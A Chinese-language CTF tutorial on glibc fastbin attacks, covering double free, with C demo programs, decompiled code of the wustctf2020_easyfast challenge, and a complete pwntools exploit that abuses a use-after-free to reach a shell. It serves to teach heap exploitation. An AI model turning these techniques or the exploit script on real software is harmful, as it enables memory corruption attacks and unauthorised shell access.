投稿-Fastbin Attack

adopi

原文链接：投稿-Fastbin Attack
Fastbin Attack
简介
基于 fastbin 机制的漏洞利用方法

前提
存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞

漏洞发生于 fastbin 类型的 chunk 中

分类
--Fastbin Double Free
--House of Spirit
--Alloc to Stack
--Arbitrary Alloc
前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk，然后再次申请 chunk 进行攻击
后两种侧重于故意修改 fd 指针，直接利用 malloc 申请指定位置 chunk 进行攻击。

原理
fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的，并且由 fastbin 管理的 chunk 即使被释放，其 next_chunk 的 prev_inuse 位也不会被清空。

下面用一段程序加gdb调试来说明

1. 
   
2. #include <stdio.h>
   
3. #include <stdlib.h>
   
4. 
   
5. int main(void)
   
6. {
   
7.     void *chunk1,*chunk2,*chunk3;
   
8.     chunk1=malloc(0x10);
   
9.     chunk2=malloc(0x10);
   
10.     chunk3=malloc(0x10);
    
11. 
    
12.     free(chunk1);
    
13.     free(chunk2);
    
14.     free(chunk1);
    
15.     return 0;
    
16. }

复制代码

gcc -g name.c -o name
-g 在gdb中带着源码调试
-o 命名


从下面的gdb调试中可以很好的看到这一点，我们申请的是0x10大小的堆块，加上chunk头的0x10和in_use位中p位的1，最后大小就是0x21




画一下chunk的结构


一般来说free掉chunk之后prev_inuse的p为应该是0，但由 fastbin 管理的 chunk 即使被释放后p位仍然为1

Fastbin Double Free
简介
Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放，因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块，相当于多个指针指向同一个堆块，结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。

利用的原理
fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空

fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块，即链表指针头部的块。对于链表后面的块，并没有进行验证。

1. #include <stdio.h>
   
2. #include <stdlib.h>
   
3. 
   
4. typedef struct _chunk
   
5. {
   
6.     long long pre_size;
   
7.     long long size;
   
8.     long long fd;
   
9.     long long bk;
   
10. } CHUNK,*PCHUNK;
    
11. 
    
12. CHUNK bss_chunk;
    
13. 
    
14. int main(void)
    
15. {
    
16.     void *chunk1,*chunk2,*chunk3;
    
17.     void *chunk_a,*chunk_b;
    
18. 
    
19.     bss_chunk.size=0x21;
    
20.     chunk1=malloc(0x10);
    
21.     chunk2=malloc(0x10);
    
22. 
    
23.     free(chunk1);
    
24.     free(chunk2);
    
25.     free(chunk1);
    
26. 
    
27.     chunk_a=malloc(0x10);
    
28.     *(long long *)chunk_a=&bss_chunk;
    
29.     malloc(0x10);
    
30.     malloc(0x10);
    
31.     chunk_b=malloc(0x10);
    
32.     printf("%p",chunk_b);
    
33.     return 0;
    
34. }

复制代码

申请两个chunk后，按顺序free掉chunk1，chunk2，chunk1，形成下面的链表




然后申请chunk1，把chunk1的fd指针改成bss_chunk的地址


再申请两个堆块就可以利用bss_chunk




总结一下
简单来说就是先申请了两个chunk，chunk1和chunk2，，然后先后free1、2、1，此时的fastbin链表为chunk1-->chunk2-->chunk1,然后重新申请chunk1，然后让chunk1的fd指针指向bss_chunk,此时bins中fastbin链表中队的chunk1也指向了bss_chunk，之后再陆续申请两个chunk就能控制利用bss_chunk了

例题
wustctf2020_easyfast
类型：fastbinattack double free
版本：Ubuntu16

ida
main

1. void sub_400ACD()
   
2. {
   
3.   char s[8]; // [rsp+0h] [rbp-20h] BYREF
   
4.   __int64 v1; // [rsp+8h] [rbp-18h]
   
5.   unsigned __int64 v2; // [rsp+18h] [rbp-8h]
   
6. 
   
7.   v2 = __readfsqword(0x28u);
   
8.   *(_QWORD *)s = 0LL;
   
9.   v1 = 0LL;
   
10.   while ( 1 )
    
11.   {
    
12.     puts("choice>");
    
13.     fgets(s, 8, stdin);
    
14.     switch ( atoi(s) )
    
15.     {
    
16.       case 1:
    
17.         sub_400916();  //add
    
18.         break;
    
19.       case 2:
    
20.         sub_4009D7(s, 8LL);  //delete
    
21.         break;
    
22.       case 3:
    
23.         sub_400A4D(s, 8LL);  //edit
    
24.         break;
    
25.       case 4:
    
26.         sub_400896(s, 8LL);  //backdoor
    
27.         break;
    
28.       case 5:
    
29.         exit(0);
    
30.       default:
    
31.         puts("invalid");
    
32.         break;
    
33.     }
    
34.   }
    
35. }

复制代码

add

1. unsigned __int64 sub_400916()
   
2. {
   
3.   int v0; // eax
   
4.   int v1; // ebx
   
5.   char s[24]; // [rsp+10h] [rbp-30h] BYREF
   
6.   unsigned __int64 v4; // [rsp+28h] [rbp-18h]
   
7. 
   
8.   v4 = __readfsqword(0x28u);
   
9.   if ( dword_6020BC <= 3 )  //只能申请4个堆块
   
10.   {
    
11.     puts("size>");
    
12.     fgets(s, 8, stdin);
    
13.     v0 = atoi(s);
    
14.     if ( v0 && (unsigned __int64)v0 <= 120 )
    
15.     {
    
16.       v1 = dword_6020BC++;
    
17.       *(&buf + v1) = malloc(v0);
    
18.     }
    
19.     else
    
20.     {
    
21.       puts("No need");
    
22.     }
    
23.   }
    
24.   else
    
25.   {
    
26.     puts("No need");
    
27.   }
    
28.   return __readfsqword(0x28u) ^ v4;
    
29. }

复制代码

delete

1. unsigned __int64 sub_4009D7()
   
2. {
   
3.   __int64 v1; // [rsp+8h] [rbp-28h]
   
4.   char s[24]; // [rsp+10h] [rbp-20h] BYREF
   
5.   unsigned __int64 v3; // [rsp+28h] [rbp-8h]
   
6. 
   
7.   v3 = __readfsqword(0x28u);
   
8.   puts("index>");
   
9.   fgets(s, 8, stdin);
   
10.   v1 = atoi(s);
    
11.   free(*(&buf + v1));   //uaf
    
12.   return __readfsqword(0x28u) ^ v3;
    
13. }

复制代码

edit

1. unsigned __int64 sub_400A4D()
   
2. {
   
3.   __int64 v1; // [rsp+8h] [rbp-28h]
   
4.   char s[24]; // [rsp+10h] [rbp-20h] BYREF
   
5.   unsigned __int64 v3; // [rsp+28h] [rbp-8h]
   
6. 
   
7.   v3 = __readfsqword(0x28u);
   
8.   puts("index>");
   
9.   fgets(s, 8, stdin);
   
10.   v1 = atoi(s);
    
11.   read(0, *(&buf + v1), 8uLL);
    
12.   return __readfsqword(0x28u) ^ v3;
    
13. }

复制代码

backdoor

1. int sub_400896()
   
2. {
   
3.   int result; // eax
   
4. 
   
5.   if ( qword_602090 )  //储存的值是1   改成0就可以往下执行，就可以提权了
   
6.     result = puts("Not yet");
   
7.   else
   
8.     result = system("/bin/sh");
   
9.   return result;
   
10. }

复制代码

qword_602090

1. .data:0000000000602090 qword_602090    dq 1                    ; DATA XREF: sub_400896+4↑r
   
2. .data:0000000000602090 _data           ends
   
3. .data:0000000000602090

复制代码

double free的原理
在删除堆的时候没有对指针进行归零操作，然后重复free同一个chunk试其的fd形成一个循环 此时我们就可以通过在第二次申请该chunk的时候让同一个chunk拥有写入和执行的权限

思路
通过存在的uaf漏洞在fastbin链表中去进行堆块的构造，让第一个free掉的chunk的fd指针指向需要修改的bss段数值的-0x10的位置(这里就是个伪造一个堆块)



然后把伪造的堆块当成真正的chunk去申请，然后再修改这个伪造chunk的fd指针处的数值，就能成功的getshell



exp

1. from pwn import *
   
2. 
   
3. context(os='linux',arch='amd64',log_level='debug')
   
4. io=process('./pwn')
   
5. 
   
6. def duan():
   
7.     gdb.attach(io)
   
8.     pause()
   
9. 
   
10. def add(size):
    
11.     io.recvuntil(b'choice>\n')
    
12.     io.sendline(b'1')
    
13.     io.recvuntil(b'size>\n')
    
14.     io.sendline(str(size))
    
15. 
    
16. def delete(index):
    
17.     io.recvuntil(b'choice>\n')
    
18.     io.sendline(b'2')
    
19.     io.recvuntil(b'index>\n')
    
20.     io.sendline(str(index))
    
21. 
    
22. def edit(index,content):
    
23.     io.recvuntil(b'choice>\n')
    
24.     io.sendline(b'3')
    
25.     io.recvuntil(b'index>\n')
    
26.     io.sendline(str(index))
    
27.     io.send(content)
    
28. 
    
29. def backdoor():
    
30.     io.recvuntil(b'choice>\n')
    
31.     io.sendline(b'4')
    
32. 
    
33. 
    
34. #io.recvuntil("_\\_\\ \n")
    
35. add(0x40)  #chunk0
    
36. add(0x20)  #chunk1
    
37. 
    
38. delete(0)  #free chunk0
    
39. #duan()
    
40. edit(0,p64(0x602080))
    
41. 
    
42. add(0x40)
    
43. add(0x40)
    
44. 
    
45. edit(3,p64(0))
    
46. backdoor()
    
47. io.interactive()

复制代码

参考
https://ctf-wiki.org/pwn/linux/u ... oc2/fastbin-attack/
来源：先知社区的【F4atherw1t 】师傅